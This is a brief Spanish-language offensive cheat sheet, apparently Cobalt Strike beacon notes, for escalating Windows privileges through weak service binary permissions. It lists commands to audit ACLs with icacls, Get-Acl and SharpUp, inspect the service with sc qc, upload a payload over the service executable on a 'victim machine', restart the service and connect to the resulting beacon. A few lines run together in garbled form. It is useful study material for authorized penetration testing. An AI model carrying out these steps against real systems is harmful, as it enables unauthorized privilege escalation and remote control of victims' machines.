Weak Service Binary Permissions
Identificar servicios vulnerables.
run icacls "C:\Program Files\Vulnerable Service3\Service3.exe"
powershell Get-Acl -Path "C:\Program Files\Vulnerable Service3" | flexecute-assembly C:\Tools\SharpUp.exe audit ModifiableServicesBinariesVerificar las caracteristicas del servicio.
run sc qc "Vulnerable Service 3"Creamos un payload y lo subimos a la maquina victima.
upload C:\Tools\Payloads\Service3.exeIniciar servicio.
run sc stop "Vulnerable Service 3"
run sc start "Vulnerable Service 3"Acceder al beacon.
connect localhost 4444